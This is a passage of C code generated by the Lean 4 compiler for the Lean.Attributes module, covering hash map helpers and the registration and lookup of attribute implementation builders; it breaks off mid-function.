LEAN_EXPORT lean_object* l_Lean_mkHashMap___at_Lean_initFn____x40_Lean_Attributes___hyg_3846____spec__1___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_mkHashMap___at_Lean_initFn____x40_Lean_Attributes___hyg_3846____spec__1(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT uint8_t l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_2) == 0)
{
uint8_t x_3;
x_3 = 0;
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; uint8_t x_6;
x_4 = lean_ctor_get(x_2, 0);
x_5 = lean_ctor_get(x_2, 2);
x_6 = lean_name_eq(x_4, x_1);
if (x_6 == 0)
{
x_2 = x_5;
goto _start;
}
else
{
uint8_t x_8;
x_8 = 1;
return x_8;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_AssocList_foldlM___at_Lean_registerAttributeImplBuilder___spec__5(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_2) == 0)
{
return x_1;
}
else
{
uint8_t x_3;
x_3 = !lean_is_exclusive(x_2);
if (x_3 == 0)
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; uint64_t x_7; size_t x_8; lean_object* x_9; lean_object* x_10;
x_4 = lean_ctor_get(x_2, 0);
x_5 = lean_ctor_get(x_2, 2);
x_6 = lean_array_get_size(x_1);
x_7 = l_Lean_Name_hash___override(x_4);
x_8 = lean_hashmap_mk_idx(x_6, x_7);
x_9 = lean_array_uget(x_1, x_8);
lean_ctor_set(x_2, 2, x_9);
x_10 = lean_array_uset(x_1, x_8, x_2);
x_1 = x_10;
x_2 = x_5;
goto _start;
}
else
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; uint64_t x_16; size_t x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20;
x_12 = lean_ctor_get(x_2, 0);
x_13 = lean_ctor_get(x_2, 1);
x_14 = lean_ctor_get(x_2, 2);
lean_inc(x_14);
lean_inc(x_13);
lean_inc(x_12);
lean_dec(x_2);
x_15 = lean_array_get_size(x_1);
x_16 = l_Lean_Name_hash___override(x_12);
x_17 = lean_hashmap_mk_idx(x_15, x_16);
x_18 = lean_array_uget(x_1, x_17);
x_19 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_19, 0, x_12);
lean_ctor_set(x_19, 1, x_13);
lean_ctor_set(x_19, 2, x_18);
x_20 = lean_array_uset(x_1, x_17, x_19);
x_1 = x_20;
x_2 = x_14;
goto _start;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_HashMapImp_moveEntries___at_Lean_registerAttributeImplBuilder___spec__4(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; uint8_t x_5;
x_4 = lean_array_get_size(x_2);
x_5 = lean_nat_dec_lt(x_1, x_4);
lean_dec(x_4);
if (x_5 == 0)
{
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
else
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11;
x_6 = lean_array_fget(x_2, x_1);
x_7 = lean_box(0);
x_8 = lean_array_fset(x_2, x_1, x_7);
x_9 = l_Lean_AssocList_foldlM___at_Lean_registerAttributeImplBuilder___spec__5(x_3, x_6);
x_10 = lean_unsigned_to_nat(1u);
x_11 = lean_nat_add(x_1, x_10);
lean_dec(x_1);
x_1 = x_11;
x_2 = x_8;
x_3 = x_9;
goto _start;
}
}
}
LEAN_EXPORT lean_object* l_Lean_HashMapImp_expand___at_Lean_registerAttributeImplBuilder___spec__3(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_3 = lean_array_get_size(x_2);
x_4 = lean_unsigned_to_nat(2u);
x_5 = lean_nat_mul(x_3, x_4);
lean_dec(x_3);
x_6 = lean_box(0);
x_7 = lean_mk_array(x_5, x_6);
x_8 = lean_unsigned_to_nat(0u);
x_9 = l_Lean_HashMapImp_moveEntries___at_Lean_registerAttributeImplBuilder___spec__4(x_8, x_2, x_7);
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_1);
lean_ctor_set(x_10, 1, x_9);
return x_10;
}
}
LEAN_EXPORT lean_object* l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
if (lean_obj_tag(x_3) == 0)
{
lean_object* x_4;
lean_dec(x_2);
lean_dec(x_1);
x_4 = lean_box(0);
return x_4;
}
else
{
uint8_t x_5;
x_5 = !lean_is_exclusive(x_3);
if (x_5 == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; uint8_t x_9;
x_6 = lean_ctor_get(x_3, 0);
x_7 = lean_ctor_get(x_3, 1);
x_8 = lean_ctor_get(x_3, 2);
x_9 = lean_name_eq(x_6, x_1);
if (x_9 == 0)
{
lean_object* x_10;
x_10 = l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(x_1, x_2, x_8);
lean_ctor_set(x_3, 2, x_10);
return x_3;
}
else
{
lean_dec(x_7);
lean_dec(x_6);
lean_ctor_set(x_3, 1, x_2);
lean_ctor_set(x_3, 0, x_1);
return x_3;
}
}
else
{
lean_object* x_11; lean_object* x_12; lean_object* x_13; uint8_t x_14;
x_11 = lean_ctor_get(x_3, 0);
x_12 = lean_ctor_get(x_3, 1);
x_13 = lean_ctor_get(x_3, 2);
lean_inc(x_13);
lean_inc(x_12);
lean_inc(x_11);
lean_dec(x_3);
x_14 = lean_name_eq(x_11, x_1);
if (x_14 == 0)
{
lean_object* x_15; lean_object* x_16;
x_15 = l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(x_1, x_2, x_13);
x_16 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_16, 0, x_11);
lean_ctor_set(x_16, 1, x_12);
lean_ctor_set(x_16, 2, x_15);
return x_16;
}
else
{
lean_object* x_17;
lean_dec(x_12);
lean_dec(x_11);
x_17 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_17, 0, x_1);
lean_ctor_set(x_17, 1, x_2);
lean_ctor_set(x_17, 2, x_13);
return x_17;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_HashMap_insert___at_Lean_registerAttributeImplBuilder___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4;
x_4 = !lean_is_exclusive(x_1);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; uint64_t x_8; size_t x_9; lean_object* x_10; uint8_t x_11;
x_5 = lean_ctor_get(x_1, 0);
x_6 = lean_ctor_get(x_1, 1);
x_7 = lean_array_get_size(x_6);
x_8 = l_Lean_Name_hash___override(x_2);
lean_inc(x_7);
x_9 = lean_hashmap_mk_idx(x_7, x_8);
x_10 = lean_array_uget(x_6, x_9);
x_11 = l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(x_2, x_10);
if (x_11 == 0)
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; uint8_t x_17;
x_12 = lean_unsigned_to_nat(1u);
x_13 = lean_nat_add(x_5, x_12);
lean_dec(x_5);
x_14 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_14, 0, x_2);
lean_ctor_set(x_14, 1, x_3);
lean_ctor_set(x_14, 2, x_10);
x_15 = lean_array_uset(x_6, x_9, x_14);
x_16 = l___private_Lean_Data_HashMap_0__Lean_numBucketsForCapacity(x_13);
x_17 = lean_nat_dec_le(x_16, x_7);
lean_dec(x_7);
lean_dec(x_16);
if (x_17 == 0)
{
lean_object* x_18;
lean_free_object(x_1);
x_18 = l_Lean_HashMapImp_expand___at_Lean_registerAttributeImplBuilder___spec__3(x_13, x_15);
return x_18;
}
else
{
lean_ctor_set(x_1, 1, x_15);
lean_ctor_set(x_1, 0, x_13);
return x_1;
}
}
else
{
lean_object* x_19; lean_object* x_20;
lean_dec(x_7);
x_19 = l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(x_2, x_3, x_10);
x_20 = lean_array_uset(x_6, x_9, x_19);
lean_ctor_set(x_1, 1, x_20);
return x_1;
}
}
else
{
lean_object* x_21; lean_object* x_22; lean_object* x_23; uint64_t x_24; size_t x_25; lean_object* x_26; uint8_t x_27;
x_21 = lean_ctor_get(x_1, 0);
x_22 = lean_ctor_get(x_1, 1);
lean_inc(x_22);
lean_inc(x_21);
lean_dec(x_1);
x_23 = lean_array_get_size(x_22);
x_24 = l_Lean_Name_hash___override(x_2);
lean_inc(x_23);
x_25 = lean_hashmap_mk_idx(x_23, x_24);
x_26 = lean_array_uget(x_22, x_25);
x_27 = l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(x_2, x_26);
if (x_27 == 0)
{
lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32; uint8_t x_33;
x_28 = lean_unsigned_to_nat(1u);
x_29 = lean_nat_add(x_21, x_28);
lean_dec(x_21);
x_30 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_30, 0, x_2);
lean_ctor_set(x_30, 1, x_3);
lean_ctor_set(x_30, 2, x_26);
x_31 = lean_array_uset(x_22, x_25, x_30);
x_32 = l___private_Lean_Data_HashMap_0__Lean_numBucketsForCapacity(x_29);
x_33 = lean_nat_dec_le(x_32, x_23);
lean_dec(x_23);
lean_dec(x_32);
if (x_33 == 0)
{
lean_object* x_34;
x_34 = l_Lean_HashMapImp_expand___at_Lean_registerAttributeImplBuilder___spec__3(x_29, x_31);
return x_34;
}
else
{
lean_object* x_35;
x_35 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_35, 0, x_29);
lean_ctor_set(x_35, 1, x_31);
return x_35;
}
}
else
{
lean_object* x_36; lean_object* x_37; lean_object* x_38;
lean_dec(x_23);
x_36 = l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(x_2, x_3, x_26);
x_37 = lean_array_uset(x_22, x_25, x_36);
x_38 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_38, 0, x_21);
lean_ctor_set(x_38, 1, x_37);
return x_38;
}
}
}
}
LEAN_EXPORT uint8_t l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint64_t x_5; size_t x_6; lean_object* x_7; uint8_t x_8;
x_3 = lean_ctor_get(x_1, 1);
lean_inc(x_3);
lean_dec(x_1);
x_4 = lean_array_get_size(x_3);
x_5 = l_Lean_Name_hash___override(x_2);
x_6 = lean_hashmap_mk_idx(x_4, x_5);
x_7 = lean_array_uget(x_3, x_6);
lean_dec(x_3);
x_8 = l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(x_2, x_7);
lean_dec(x_7);
lean_dec(x_2);
return x_8;
}
}
static lean_object* _init_l_Lean_registerAttributeImplBuilder___lambda__1___closed__1() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_attributeImplBuilderTableRef;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; uint8_t x_11;
x_5 = l_Lean_registerAttributeImplBuilder___lambda__1___closed__1;
x_6 = lean_st_ref_take(x_5, x_4);
x_7 = lean_ctor_get(x_6, 0);
lean_inc(x_7);
x_8 = lean_ctor_get(x_6, 1);
lean_inc(x_8);
lean_dec(x_6);
x_9 = l_Lean_HashMap_insert___at_Lean_registerAttributeImplBuilder___spec__1(x_7, x_1, x_2);
x_10 = lean_st_ref_set(x_5, x_9, x_8);
x_11 = !lean_is_exclusive(x_10);
if (x_11 == 0)
{
return x_10;
}
else
{
lean_object* x_12; lean_object* x_13; lean_object* x_14;
x_12 = lean_ctor_get(x_10, 0);
x_13 = lean_ctor_get(x_10, 1);
lean_inc(x_13);
lean_inc(x_12);
lean_dec(x_10);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_12);
lean_ctor_set(x_14, 1, x_13);
return x_14;
}
}
}
static lean_object* _init_l_Lean_registerAttributeImplBuilder___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("attribute implementation builder '", 34);
return x_1;
}
}
static lean_object* _init_l_Lean_registerAttributeImplBuilder___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("' has already been declared", 27);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5; uint8_t x_6;
x_4 = l_Lean_registerAttributeImplBuilder___lambda__1___closed__1;
x_5 = lean_st_ref_get(x_4, x_3);
x_6 = !lean_is_exclusive(x_5);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; uint8_t x_9;
x_7 = lean_ctor_get(x_5, 0);
x_8 = lean_ctor_get(x_5, 1);
lean_inc(x_1);
x_9 = l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7(x_7, x_1);
if (x_9 == 0)
{
lean_object* x_10; lean_object* x_11;
lean_free_object(x_5);
x_10 = lean_box(0);
x_11 = l_Lean_registerAttributeImplBuilder___lambda__1(x_1, x_2, x_10, x_8);
return x_11;
}
else
{
uint8_t x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18;
lean_dec(x_2);
x_12 = 1;
x_13 = l_Lean_Name_toString(x_1, x_12);
x_14 = l_Lean_registerAttributeImplBuilder___closed__1;
x_15 = lean_string_append(x_14, x_13);
lean_dec(x_13);
x_16 = l_Lean_registerAttributeImplBuilder___closed__2;
x_17 = lean_string_append(x_15, x_16);
x_18 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_18, 0, x_17);
lean_ctor_set_tag(x_5, 1);
lean_ctor_set(x_5, 0, x_18);
return x_5;
}
}
else
{
lean_object* x_19; lean_object* x_20; uint8_t x_21;
x_19 = lean_ctor_get(x_5, 0);
x_20 = lean_ctor_get(x_5, 1);
lean_inc(x_20);
lean_inc(x_19);
lean_dec(x_5);
lean_inc(x_1);
x_21 = l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7(x_19, x_1);
if (x_21 == 0)
{
lean_object* x_22; lean_object* x_23;
x_22 = lean_box(0);
x_23 = l_Lean_registerAttributeImplBuilder___lambda__1(x_1, x_2, x_22, x_20);
return x_23;
}
else
{
uint8_t x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31;
lean_dec(x_2);
x_24 = 1;
x_25 = l_Lean_Name_toString(x_1, x_24);
x_26 = l_Lean_registerAttributeImplBuilder___closed__1;
x_27 = lean_string_append(x_26, x_25);
lean_dec(x_25);
x_28 = l_Lean_registerAttributeImplBuilder___closed__2;
x_29 = lean_string_append(x_27, x_28);
x_30 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_30, 0, x_29);
x_31 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_31, 0, x_30);
lean_ctor_set(x_31, 1, x_20);
return x_31;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; lean_object* x_4;
x_3 = l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
x_4 = lean_box(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; lean_object* x_4;
x_3 = l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7(x_1, x_2);
x_4 = lean_box(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_registerAttributeImplBuilder___lambda__1(x_1, x_2, x_3, x_4);
lean_dec(x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_2) == 0)
{
lean_object* x_3;
x_3 = lean_box(0);
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_4 = lean_ctor_get(x_2, 0);
x_5 = lean_ctor_get(x_2, 1);
x_6 = lean_ctor_get(x_2, 2);
x_7 = lean_name_eq(x_4, x_1);
if (x_7 == 0)
{
x_2 = x_6;
goto _start;
}
else
{
lean_object* x_9;
lean_inc(x_5);
x_9 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_9, 0, x_5);
return x_9;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_HashMapImp_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__1(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint64_t x_5; size_t x_6; lean_object* x_7; lean_object* x_8;
x_3 = lean_ctor_get(x_1, 1);
lean_inc(x_3);
lean_dec(x_1);
x_4 = lean_array_get_size(x_3);
x_5 = l_Lean_Name_hash___override(x_2);
x_6 = lean_hashmap_mk_idx(x_4, x_5);
x_7 = lean_array_uget(x_3, x_6);
lean_dec(x_3);
x_8 = l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2(x_2, x_7);
lean_dec(x_7);
lean_dec(x_2);
return x_8;
}
}
LEAN_EXPORT lean_object* l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_3 = lean_ctor_get(x_1, 0);
lean_inc(x_3);
x_4 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_4, 0, x_3);
x_5 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_5, 0, x_4);
lean_ctor_set(x_5, 1, x_2);
return x_5;
}
else
{
lean_object* x_6; lean_object* x_7;
x_6 = lean_ctor_get(x_1, 0);
lean_inc(x_6);
x_7 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_2);
return x_7;
}
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfBuilder___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unknown attribute implementation builder '", 42);
return x_1;
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfBuilder___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("'", 1);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfBuilder(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = l_Lean_registerAttributeImplBuilder___lambda__1___closed__1;
x_6 = lean_st_ref_get(x_5, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_8 = lean_ctor_get(x_6, 0);
x_9 = lean_ctor_get(x_6, 1);
lean_inc(x_1);
x_10 = l_Lean_HashMapImp_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__1(x_8, x_1);
if (lean_obj_tag(x_10) == 0)
{
uint8_t x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17;
lean_dec(x_3);
lean_dec(x_2);
x_11 = 1;
x_12 = l_Lean_Name_toString(x_1, x_11);
x_13 = l_Lean_mkAttributeImplOfBuilder___closed__1;
x_14 = lean_string_append(x_13, x_12);
lean_dec(x_12);
x_15 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_16 = lean_string_append(x_14, x_15);
x_17 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_17, 0, x_16);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_17);
return x_6;
}
else
{
lean_object* x_18; lean_object* x_19; lean_object* x_20;
lean_free_object(x_6);
lean_dec(x_1);
x_18 = lean_ctor_get(x_10, 0);
lean_inc(x_18);
lean_dec(x_10);
x_19 = lean_apply_2(x_18, x_2, x_3);
x_20 = l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(x_19, x_9);
lean_dec(x_19);
return x_20;
}
}
else
{
lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_21 = lean_ctor_get(x_6, 0);
x_22 = lean_ctor_get(x_6, 1);
lean_inc(x_22);
lean_inc(x_21);
lean_dec(x_6);
lean_inc(x_1);
x_23 = l_Lean_HashMapImp_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__1(x_21, x_1);
if (lean_obj_tag(x_23) == 0)
{
uint8_t x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31;
lean_dec(x_3);
lean_dec(x_2);
x_24 = 1;
x_25 = l_Lean_Name_toString(x_1, x_24);
x_26 = l_Lean_mkAttributeImplOfBuilder___closed__1;
x_27 = lean_string_append(x_26, x_25);
lean_dec(x_25);
x_28 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_29 = lean_string_append(x_27, x_28);
x_30 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_30, 0, x_29);
x_31 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_31, 0, x_30);
lean_ctor_set(x_31, 1, x_22);
return x_31;
}
else
{
lean_object* x_32; lean_object* x_33; lean_object* x_34;
lean_dec(x_1);
x_32 = lean_ctor_get(x_23, 0);
lean_inc(x_32);
lean_dec(x_23);
x_33 = lean_apply_2(x_32, x_2, x_3);
x_34 = l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(x_33, x_22);
lean_dec(x_33);
return x_34;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(x_1, x_2);
lean_dec(x_1);
return x_3;
}
}
static lean_object* _init_l_Lean_AttributeExtensionState_newEntries___default() {
_start:
{
lean_object* x_1;
x_1 = lean_box(0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeExtensionState___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(0);
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeExtensionState() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instInhabitedAttributeExtensionState___closed__1;
return x_1;
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_mkInitial(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; uint8_t x_4;
x_2 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_3 = lean_st_ref_get(x_2, x_1);
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_box(0);
x_7 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_5);
lean_ctor_set(x_3, 0, x_7);
return x_3;
}
else
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_8 = lean_ctor_get(x_3, 0);
x_9 = lean_ctor_get(x_3, 1);
lean_inc(x_9);
lean_inc(x_8);
lean_dec(x_3);
x_10 = lean_box(0);
x_11 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_11, 0, x_10);
lean_ctor_set(x_11, 1, x_8);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_11);
lean_ctor_set(x_12, 1, x_9);
return x_12;
}
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unknow constant '", 17);
return x_1;
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unexpected attribute implementation type at '", 45);
return x_1;
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("' (`AttributeImpl` expected", 27);
return x_1;
}
}
static lean_object* _init_l_Lean_mkAttributeImplOfConstantUnsafe___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("AttributeImpl", 13);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfConstantUnsafe(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
lean_inc(x_3);
lean_inc(x_1);
x_4 = lean_environment_find(x_1, x_3);
if (lean_obj_tag(x_4) == 0)
{
uint8_t x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11;
lean_dec(x_1);
x_5 = 1;
x_6 = l_Lean_Name_toString(x_3, x_5);
x_7 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__1;
x_8 = lean_string_append(x_7, x_6);
lean_dec(x_6);
x_9 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_10 = lean_string_append(x_8, x_9);
x_11 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_11, 0, x_10);
return x_11;
}
else
{
lean_object* x_12; lean_object* x_13;
x_12 = lean_ctor_get(x_4, 0);
lean_inc(x_12);
lean_dec(x_4);
x_13 = l_Lean_ConstantInfo_type(x_12);
lean_dec(x_12);
if (lean_obj_tag(x_13) == 4)
{
lean_object* x_14;
x_14 = lean_ctor_get(x_13, 0);
lean_inc(x_14);
lean_dec(x_13);
if (lean_obj_tag(x_14) == 1)
{
lean_object* x_15;
x_15 = lean_ctor_get(x_14, 0);
lean_inc(x_15);
if (lean_obj_tag(x_15) == 1)
{
lean_object* x_16;
x_16 = lean_ctor_get(x_15, 0);
lean_inc(x_16);
if (lean_obj_tag(x_16) == 0)
{
lean_object* x_17; lean_object* x_18; lean_object* x_19; uint8_t x_20;
x_17 = lean_ctor_get(x_14, 1);
lean_inc(x_17);
lean_dec(x_14);
x_18 = lean_ctor_get(x_15, 1);
lean_inc(x_18);
lean_dec(x_15);
x_19 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_20 = lean_string_dec_eq(x_18, x_19);
lean_dec(x_18);
if (x_20 == 0)
{
uint8_t x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27;
lean_dec(x_17);
lean_dec(x_1);
x_21 = 1;
x_22 = l_Lean_Name_toString(x_3, x_21);
x_23 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_24 = lean_string_append(x_23, x_22);
lean_dec(x_22);
x_25 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_26 = lean_string_append(x_24, x_25);
x_27 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_27, 0, x_26);
return x_27;
}
else
{
lean_object* x_28; uint8_t x_29;
x_28 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__4;
x_29 = lean_string_dec_eq(x_17, x_28);
lean_dec(x_17);
if (x_29 == 0)
{
uint8_t x_30; lean_object* x_31; lean_object* x_32; lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36;
lean_dec(x_1);
x_30 = 1;
x_31 = l_Lean_Name_toString(x_3, x_30);
x_32 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_33 = lean_string_append(x_32, x_31);
lean_dec(x_31);
x_34 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_35 = lean_string_append(x_33, x_34);
x_36 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_36, 0, x_35);
return x_36;
}
else
{
lean_object* x_37;
x_37 = lean_eval_const(x_1, x_2, x_3);
lean_dec(x_3);
lean_dec(x_1);
return x_37;
}
}
}
else
{
